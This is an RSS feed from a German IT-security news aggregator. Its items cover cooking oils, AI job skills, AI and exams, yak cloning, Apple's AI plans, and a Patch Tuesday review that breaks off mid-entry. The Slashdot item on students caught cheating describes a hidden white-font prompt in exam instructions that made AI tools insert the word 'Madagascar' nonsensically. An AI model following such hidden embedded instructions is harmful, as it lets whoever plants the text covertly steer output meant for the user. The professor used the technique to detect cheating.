<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="/rss-style.xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=understanding+microservices+totally+wrong%2F]]></link>
<description><![CDATA[Das Gesamte Cyber Threat Intelligence Feed-Archiv von TSecurity.de. Alle Nachrichten, Sicherheitsmeldungen, Videos, Downloads und Analysen in einer zentralen Übersicht.]]></description>
<language>de-DE</language>
<lastBuildDate>Tue, 28 Jul 2026 22:18:37 +0200</lastBuildDate>
<pubDate>Tue, 28 Jul 2026 22:18:37 +0200</pubDate>
<ttl>15</ttl>
<copyright>2026 Team IT Security</copyright>
<managingEditor>lakandor@tsecurity.de (Horus Sirius)</managingEditor>
<webMaster>lakandor@tsecurity.de (Horus Sirius)</webMaster>
<category>IT Security</category>
<category>Cybersecurity</category>
<category>Nachrichten</category>
<generator>Team IT Security RSS Generator v2.0</generator>
<image>
<url>https://tsecurity.de/favicon.ico</url>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=understanding+microservices+totally+wrong%2F]]></link>
</image>
<atom:link href="https://tsecurity.de/export/rss/it-security.xml?q=understanding+microservices+totally+wrong%2F" rel="self" type="application/rss+xml" />
<item>
<title><![CDATA[Olive, Canola, Coconut: Experts Explain Which Cooking Oils Go Where]]></title>
<description><![CDATA[The wrong cooking oil can sabotage dinner. Here’s a guide to using high-, low- and medium-heat oils.]]></description>
<link>https://tsecurity.de/de/3695462/it-nachrichten/olive-canola-coconut-experts-explain-which-cooking-oils-go-where/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695462/it-nachrichten/olive-canola-coconut-experts-explain-which-cooking-oils-go-where/</guid>
<pubDate>Sun, 26 Jul 2026 12:00:55 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The wrong cooking oil can sabotage dinner. Here’s a guide to using high-, low- and medium-heat oils.]]></content:encoded>
</item>
<item>
<title><![CDATA['That is the wrong model for the AI era': Employers now expect basic AI skills from all workers]]></title>
<description><![CDATA[97% of organizations would pay 10%+ extra salary just for workers who have AI skills – workers, take responsibility now.]]></description>
<link>https://tsecurity.de/de/3695261/it-nachrichten/that-is-the-wrong-model-for-the-ai-era-employers-now-expect-basic-ai-skills-from-all-workers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695261/it-nachrichten/that-is-the-wrong-model-for-the-ai-era-employers-now-expect-basic-ai-skills-from-all-workers/</guid>
<pubDate>Sun, 26 Jul 2026 09:15:37 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[97% of organizations would pay 10%+ extra salary just for workers who have AI skills – workers, take responsibility now.]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI coding tutor paradox grows as educators scramble to rethink how they test real skills]]></title>
<description><![CDATA[An ACM survey of 763 computer science educators from 49 countries shows that 68 percent have already changed their exams because of AI, shifting toward oral exams, proctored tests, and project-based work. Teaching is moving from writing code to understanding it. But nearly half of respondents say...]]></description>
<link>https://tsecurity.de/de/3695259/ai-nachrichten/the-ai-coding-tutor-paradox-grows-as-educators-scramble-to-rethink-how-they-test-real-skills/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695259/ai-nachrichten/the-ai-coding-tutor-paradox-grows-as-educators-scramble-to-rethink-how-they-test-real-skills/</guid>
<pubDate>Sun, 26 Jul 2026 09:10:20 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1376" height="768" src="https://the-decoder.com/wp-content/uploads/2026/07/ACM-Studie.png" class="attachment-full size-full wp-post-image" alt="Hands examine a neural AI circuit before lines of code using magnifying glasses and tools, symbolizing research and debugging." decoding="async" fetchpriority="high"></p>
<p>        An ACM survey of 763 computer science educators from 49 countries shows that 68 percent have already changed their exams because of AI, shifting toward oral exams, proctored tests, and project-based work. Teaching is moving from writing code to understanding it. But nearly half of respondents say they lack proven examples for integrating AI into their courses.</p>
<p>The article <a href="https://the-decoder.com/the-ai-coding-tutor-paradox-grows-as-educators-scramble-to-rethink-how-they-test-real-skills/">The AI coding tutor paradox grows as educators scramble to rethink how they test real skills</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Fondazione Piemonte Innova und Confindustria Piemonte: Memorandum of Understanding ...]]></title>
<description><![CDATA[Digitale Innovation, Technologietransfer, künstliche Intelligenz und Cybersicherheit sind die Prioritätsbereiche für die Unterstützung von KMU.]]></description>
<link>https://tsecurity.de/de/3695014/it-security-nachrichten/fondazione-piemonte-innova-und-confindustria-piemonte-memorandum-of-understanding/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695014/it-security-nachrichten/fondazione-piemonte-innova-und-confindustria-piemonte-memorandum-of-understanding/</guid>
<pubDate>Sun, 26 Jul 2026 06:34:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Digitale Innovation, Technologietransfer, künstliche Intelligenz und <b>Cybersicherheit</b> sind die Prioritätsbereiche für die Unterstützung von KMU.]]></content:encoded>
</item>
<item>
<title><![CDATA[32 of 35 Students Caught Using Hilariously Wrong AI-Generated Answers for Professor's Midterm]]></title>
<description><![CDATA["32 of my 35 students between two classes failed a portion of their midterm because they all used AI to generate their entire response," history professor Jason Gibson says in a viral video shared over 10 million times. "And apparently, they didn't proofread it." 
The instructions included a hidd...]]></description>
<link>https://tsecurity.de/de/3694991/it-security-nachrichten/32-of-35-students-caught-using-hilariously-wrong-ai-generated-answers-for-professors-midterm/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694991/it-security-nachrichten/32-of-35-students-caught-using-hilariously-wrong-ai-generated-answers-for-professors-midterm/</guid>
<pubDate>Sun, 26 Jul 2026 06:31:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA["32 of my 35 students between two classes failed a portion of their midterm because they all used AI to generate their entire response," history professor Jason Gibson says in a viral video shared over 10 million times. "And apparently, they didn't proofread it." 
The instructions included a hidden white-font prompt to use the word Madagascar "in a way that makes no sense." So if he saw the word Madagascar, "I knew that they copied and pasted the whole thing, and just threw it in AI." Futurism reports:

[A]pparently none of the indolent cheats put in the bare modicum of effort required to at least check if what the AI wrote made any sense at all... [Gibson shared some AI-generated answersin a follow-up video.] An observation about AI automation was unceremoniously closed with how the island nation "wore a toaster to a basketball game," he also shared. And social media's impact on the world was compared to a "long journey to Madagascar." Gibson makes it clear that humiliating his students wasn't the point. He says he fully explained how he caught them afterwards, and that he gave the students an opportunity to contest their grade. (Only two did, showing at least that they do feel shame....) 

He definitely isn't the only educator going through similar tribulations... One Brown University professor discovered that over half his students were using AI to cheat on an exam, and Princeton University has even dropped its over century-old Honor Code tradition by forcing exams to be supervised after being mired in its own chatbot cheating scandal. "We don't know best practices for navigating academia with AI," Gibson warned. "We're all just trying to hold onto some level of academic integrity in the process." 

"First and foremost, Madagascar has nothing to do with the Industrial Revolutionary," Gibson says with exasperation in the video. "Second, it was more than obvious that they didn't even go back and re-read these responses... If you're going to use AI to generate the entire response, at least re-read it!" Here's how one student answered the test question. "Today technology such as artificial intelligence, smartphones, and automation is changing many jobs by making work faster and reducing the need for some manual tasks. Madagascar floats sideways through the afternoon." 


And another student wrote "At the same time not everyone has the same access to technology, which can make social inequality even worse. Madagascar purple bicycle whispers to the ceiling."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=32+of+35+Students+Caught+Using+Hilariously+Wrong+AI-Generated+Answers+for+Professor's+Midterm%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F25%2F2114259%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F07%2F25%2F2114259%2F32-of-35-students-caught-using-hilariously-wrong-ai-generated-answers-for-professors-midterm%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://news.slashdot.org/story/26/07/25/2114259/32-of-35-students-caught-using-hilariously-wrong-ai-generated-answers-for-professors-midterm?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[China is Creating a Herd of 100 Elite Yak Clones]]></title>
<description><![CDATA[CNN reports on yaks "designed and cloned" in secretive, high-altitude labs in Tibet — 2.4 miles (4,000 meters) above sea level. They're a critical part of the local economy, and researchers "hope to create an 'elite' herd of super-yaks, healthier and more fertile than their predecessors."



Both...]]></description>
<link>https://tsecurity.de/de/3694805/it-security-nachrichten/china-is-creating-a-herd-of-100-elite-yak-clones/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694805/it-security-nachrichten/china-is-creating-a-herd-of-100-elite-yak-clones/</guid>
<pubDate>Sat, 25 Jul 2026 20:01:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[CNN reports on yaks "designed and cloned" in secretive, high-altitude labs in Tibet — 2.4 miles (4,000 meters) above sea level. They're a critical part of the local economy, and researchers "hope to create an 'elite' herd of super-yaks, healthier and more fertile than their predecessors."



Both domestic yaks and their wild cousins have been facing threats for years, with some rare subspecies at risk of disappearing entirely. Authorities in the southwestern Chinese region have poured tens of millions of dollars into boosting the yak industry in recent years — and they hope cloning can help. The first yak clone came in July 2025, Chinese state media hailing it as a breakthrough achievement that combined cloning with gene selection. More clones were born this spring — and researchers are now aiming to create a herd of more than 100 "elite" yak clones by 2028, boasting desired traits like faster growth and larger size. "This shows the technology has moved from a one-time success to a stable, mass-scale application," said Fang Shengguo, the project's scientific lead and director of the State Conservation Center for Gene Resources of Endangered Wildlife, according to state-run news agency Xinhua... 


Many experts acknowledge there are legitimate arguments for using cloning in conservation, and for gene selection in farming. But the ethical waters are murky, and any such project should have high levels of public transparency and accountability, said Lisa Moses, a veterinarian and bioethicist at Harvard Medical School. So far, much of the yak cloning project remains mysterious, with information largely limited to glowing state-media coverage... 


[S]ome scientists say these projects reduce our sense of urgency toward fixing the environment, and that we can't simply churn out clones while the planet burns. To truly enact change, they say, we have to continue addressing the root cause of the problem — restoring degraded habitats, lowering carbon emissions, cracking down on poaching, and more. But for others, "there is a strong feeling ... that traditional conservation is essentially failing now," Moses said. "What we've been doing for the last 100 years to try to stave off ecological destruction is not working.... The argument is, we don't have a choice," she added. "If we want to try to do something that will actually make a difference, we need to use these technologies, specifically synthetic biology, to essentially override evolution and change the fitness of the species for the environment that they live in." 

"History is littered with good intentions in the environment gone wrong," Moses said, "and I would argue that these technologies have even more unknowns than ones that we previously employed."

 

The article points out that the number of wild yaks "dropped more than a third in the last 30 years,
with just 10,000 to 20,000 individuals left, according to the Wildlife Conservation Society." 


The yaks are threatened by climate change and habitat degradation, "with warmer temperatures bringing invasive plant species and increased competition for resources... in one of the world's most inhospitable terrains."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=China+is+Creating+a+Herd+of+100+Elite+Yak+Clones%3A+https%3A%2F%2Fscience.slashdot.org%2Fstory%2F26%2F07%2F25%2F1656259%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fscience.slashdot.org%2Fstory%2F26%2F07%2F25%2F1656259%2Fchina-is-creating-a-herd-of-100-elite-yak-clones%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://science.slashdot.org/story/26/07/25/1656259/china-is-creating-a-herd-of-100-elite-yak-clones?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple could ‘run the table’ on AI if it does things right]]></title>
<description><![CDATA[Looking ahead just a short time, Apple could hold a powerful position in AI where it most makes sense: deployment.



Not only will the company offer up its own AI models for the kind of tasks millions use ChatGPT to do today, but it will provide more sophisticated on-device agentic models to hel...]]></description>
<link>https://tsecurity.de/de/3694780/ai-nachrichten/apple-could-run-the-table-on-ai-if-it-does-things-right/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694780/ai-nachrichten/apple-could-run-the-table-on-ai-if-it-does-things-right/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:13 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Looking ahead just a short time, Apple could hold a powerful position in AI where it most makes sense: deployment.</p>



<p class="wp-block-paragraph">Not only will the company offer up its own AI models for the kind of tasks millions use ChatGPT to do today, but it will provide more sophisticated on-device agentic models to help users get things done through Siri AI.</p>



<p class="wp-block-paragraph">Apple also <a href="https://www.macobserver.com/news/apple-calls-its-new-assistant-siri-ai-at-wwdc-2026-gemini-partnership-now-official/" target="_blank" rel="noreferrer noopener">offers limited capacity for more complex tasks</a> through <a href="https://www.applemust.com/apple-commences-us-manufacturing-of-private-cloud-compute-servers/" target="_blank" rel="noreferrer noopener">Private Cloud Compute</a>, and, in partnership with the likes of Google in the US and Alibaba in China, the company is giving users a trusted conduit through which to access even more sophisticated AI services. </p>



<h2 class="wp-block-heading"><strong>Deeply deployable</strong></h2>



<p class="wp-block-paragraph">Critics can say it <a href="https://www.computerworld.com/article/4168225/wwdc-2026-how-apple-can-take-a-great-leap-in-ai.html">took Apple a long time</a> to get to this point, but they also seem to think the company has finally got the mix right with its series 27 operating systems. Arriving late to a party <a href="https://www.computerworld.com/article/4164979/apple-will-be-behind-on-ai-until-it-isnt.html">doesn’t mean you won’t shine once you get there</a>.</p>



<p class="wp-block-paragraph">Apple is also coming up the inside lane around frontier AI, with iterative OS and hardware enhancements that mean its devices become increasingly effective for <a href="https://www.computerworld.com/article/4016798/why-i-hope-apple-keeps-investing-in-on-device-ai.html">Edge AI use cases</a>, on device — no cloud service required.</p>



<p class="wp-block-paragraph">The company appears to be digging down into those use cases. Mark Gurman at Bloomberg recently predicted that <a href="https://www.tomshardware.com/tech-industry/semiconductors/apples-rumored-m7-ultra-targets-1-5tb-of-memory-and-blackwell-class-ai" target="_blank" rel="noreferrer noopener">future M7 Ultra Macs</a> will support as much as 1.5TB RAM, making these systems more than capable of running full weight frontier models in people’s offices, colleges, and homes. </p>



<p class="wp-block-paragraph">While that does assume the <a href="https://www.computerworld.com/article/4187825/the-trillion-dollar-ai-hallucination.html">AI-flationary memory market</a> can supply that much RAM at prices humans can afford, it is also true that people are already <a href="https://www.computerworld.com/article/4092162/apples-macos-ai-for-the-rest-of-us.html">running AI clusters</a> using off-the-shelf Mac minis networked over Thunderbolt cables. It’s no stretch to believe <a href="https://www.applemust.com/macweb-now-offers-mac-mini-cloud-clusters-in-east-coast-data-centre/" target="_blank" rel="noreferrer noopener">this will continue to be the case</a>, and that it will even broaden as the power/performance offered at the high end grows.</p>



<h2 class="wp-block-heading"><strong>What’s wrong with good enough?</strong></h2>



<p class="wp-block-paragraph">When combined with open AI stacks, particularly newly emerging varieties, Apple’s platforms should become leading contenders for <a href="https://www.computerworld.com/article/4074648/apples-big-bang-ai-moment-is-approaching.html">private AI services</a> and edge AI. Many business users will leap at the chance to offer their workers powerful, self-hosted, private AI services using one or more daisy-chained Mac Studios or Mac minis. The recent craze in deployment of both Macs to support <a href="https://openclaw.ai/" target="_blank" rel="noreferrer noopener">OpenClaw</a> instances shows they already are.</p>



<p class="wp-block-paragraph">Ultimately, these different slices of momentum mean I agree with <a href="https://podcastalpha.substack.com/p/all-in-can-ai-regulate-itself-stripe" target="_blank" rel="noreferrer noopener">investor Jason Calacanis</a> that Apple is in position to apply a great deal of pressure on OpenAI and Claude just by putting models on their devices. </p>



<p class="wp-block-paragraph">It’s also worth thinking about how people use AI today. How many of the queries made in the world right now constitute relatively simple tasks that could be transacted by on-device AI, such as the emerging new version of Apple Intelligence or even smaller LLM models running on device? You can even run <a href="https://9to5mac.com/2026/07/14/prismml-releases-bonsai-27b-claiming-first-major-ai-model-of-its-size-fit-for-iphone/" target="_blank" rel="noreferrer noopener">PrismML’s 1-bit, 27-billion parameter Bonsai</a> on an iPad using the Locally app, and that’s in the here and now.</p>



<p class="wp-block-paragraph">What happens? Pretty soon you’ll find people recognize that they can already run the vast majority of their AI-augmented workflows using services they <a href="https://www.applemust.com/morgan-stanley-its-when-not-if-apple-will-deliver-ai-on-the-edge/" target="_blank" rel="noreferrer noopener">have on their existing device</a> or can access on their on-prem Mac set-ups. And, of course, as people get used to running small tasks locally and larger tasks on premises, the actual space in which they need to turn to cloud-based frontier models <a href="https://www.computerworld.com/article/4195657/apple-is-prepping-for-life-after-the-ai-gold-rush.html">will erode</a>. That’s even as companies like PrismML work towards slimming down full-weight models so they don’t need to run on a server at all. </p>



<p class="wp-block-paragraph">“It’s going to be wild when people have unlimited tokens on their desks,” said Calacanis in a podcast round table discussion.</p>



<h2 class="wp-block-heading"><strong>Who has the most to lose?</strong></h2>



<p class="wp-block-paragraph">The current incarnations of AI felt like they came from nowhere. Most people weren’t aware of the technology until returning to work after the 2022 holiday season. Since then, the industry has proliferated with dozens of competing models, most recently including powerful but affordable frontier models such as Qwen and Kimi.ai.</p>



<p class="wp-block-paragraph">These models aren’t necessarily all as good as one another, but in many cases for much of what we do, we’ll find them to be good enough. That’s an existential crisis for some, as industry observers now think the inevitable pricing pressure means some services might have over-invested in capacity before finding any way to turn a profit.</p>



<p class="wp-block-paragraph">Those profit-seeking services are the ones with the most to lose as Apple extends its hardware advantage, democratizing AI access for all while providing platforms suitable for edge AI, on-premises AI, private AI, and even AI access using third-party services. (The need for the latter will shrink as the capabilities of the former get better.)</p>



<h2 class="wp-block-heading"><strong>Cupertino rising</strong></h2>



<p class="wp-block-paragraph">What does this all mean? While the industry remains young, it is already fragmenting. And striding through the dust of that process comes Apple, equipped with the hardware, software, and approach to build its business even as the enterprise of first mover AI services erodes. </p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to my daily Apple-related news summaries at <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Silicon Valley Is Completely Divided Over Chinese AI]]></title>
<description><![CDATA[The AI “startups” worth billions of dollars are raising alarm bells about Chinese AI. The smaller players have a totally different take.]]></description>
<link>https://tsecurity.de/de/3694754/ai-nachrichten/silicon-valley-is-completely-divided-over-chinese-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694754/ai-nachrichten/silicon-valley-is-completely-divided-over-chinese-ai/</guid>
<pubDate>Sat, 25 Jul 2026 19:49:56 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The AI “startups” worth billions of dollars are raising alarm bells about Chinese AI. The smaller players have a totally different take.]]></content:encoded>
</item>
<item>
<title><![CDATA[Why this philosopher turned down Anthropic]]></title>
<description><![CDATA[The AI industry is courting the humanities — but it is asking the wrong questions]]></description>
<link>https://tsecurity.de/de/3694741/ai-nachrichten/why-this-philosopher-turned-down-anthropic/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694741/ai-nachrichten/why-this-philosopher-turned-down-anthropic/</guid>
<pubDate>Sat, 25 Jul 2026 19:49:51 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The AI industry is courting the humanities — but it is asking the wrong questions]]></content:encoded>
</item>
<item>
<title><![CDATA[One of these 13 gadgets could be the hero your junk drawer needs (here's why)]]></title>
<description><![CDATA[From tiny box cutters to bug-bite healers, these handy gadgets totally earn their place in your home for their form and function.]]></description>
<link>https://tsecurity.de/de/3694585/hacking/one-of-these-13-gadgets-could-be-the-hero-your-junk-drawer-needs-heres-why/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694585/hacking/one-of-these-13-gadgets-could-be-the-hero-your-junk-drawer-needs-heres-why/</guid>
<pubDate>Sat, 25 Jul 2026 19:03:32 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[From tiny box cutters to bug-bite healers, these handy gadgets totally earn their place in your home for their form and function.]]></content:encoded>
</item>
<item>
<title><![CDATA[The June 2026 Security Update Review]]></title>
<description><![CDATA[I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a ...]]></description>
<link>https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:53 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for June 2026</strong></p><p class="">For June, Adobe released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic. A total of 11 of these CVEs were reported through the ZDI program.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/campaign/apsb26-66.html" target="_blank">APSB26-66</a></td>
    <td>Adobe Campaign Classic</td>
    <td>2</td>
    <td>Critical</td>
    <td>10.0</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-64.html" target="_blank">APSB26-64</a></td>
    <td>Adobe ColdFusion</td>
    <td>7</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-63.html" target="_blank">APSB26-63</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>20</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/aem-forms/apsb26-57.html" target="_blank">APSB26-57</a></td>
    <td>Adobe Experience Manager Forms</td>
    <td>3</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/dreamweaver/apsb26-62.html" target="_blank">APSB26-62</a></td>
    <td>Adobe Dreamweaver</td>
    <td>5</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/formatplugins/apsb26-65.html" target="_blank">APSB26-65</a></td>
    <td>Adobe Format Plugins</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/incopy/apsb26-59.html" target="_blank">APSB26-59</a></td>
    <td>Adobe InCopy</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/indesign/apsb26-58.html" target="_blank">APSB26-58</a></td>
    <td>Adobe InDesign</td>
    <td>12</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d-sampler/apsb26-60.html" target="_blank">APSB26-60</a></td>
    <td>Adobe Substance 3D Sampler</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-61.html" target="_blank">APSB26-61</a></td>
    <td>Content Credentials SDK</td>
    <td>8</td>
    <td>Critical</td>
    <td>7.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-56.html" target="_blank">APSB26-56</a></td>
    <td>Adobe Experience Manager</td>
    <td>57</td>
    <td>Important</td>
    <td>5.4</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>11 bulletins</td>
    <td>123</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">Obviously, the update for Campaign Classic should be on the top of your deployment list if you’re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it’s mostly just cross-site scripting (XSS) bugs.</p><p class=""><strong>Microsoft Patches for June 2026</strong></p><p class="">This month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that’s my count. Microsoft’s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.</p><p class="">One of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.</p><p class="">I’ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW – just a note – the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.</p><p class="">One of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.</p><p class="">-   <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><strong>CVE-2026-41091</strong></a><strong> - Microsoft Defender Elevation of Privilege Vulnerability<br></strong>Since Microsoft doesn’t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won’t need to take action as Defender updates itself. However, if you don’t have this configured or are in an isolated environment, you’ll need to update to the latest version.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><strong>CVE-2026-45657</strong></a><strong> - Windows Kernel Remote Code Execution Vulnerability<br></strong>This CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup – this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as “Exploitation Less Likely” by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><strong>CVE-2026-47291</strong></a><strong> - HTTP.sys Remote Code Execution Vulnerability<br></strong>Our second CVSS 9.8 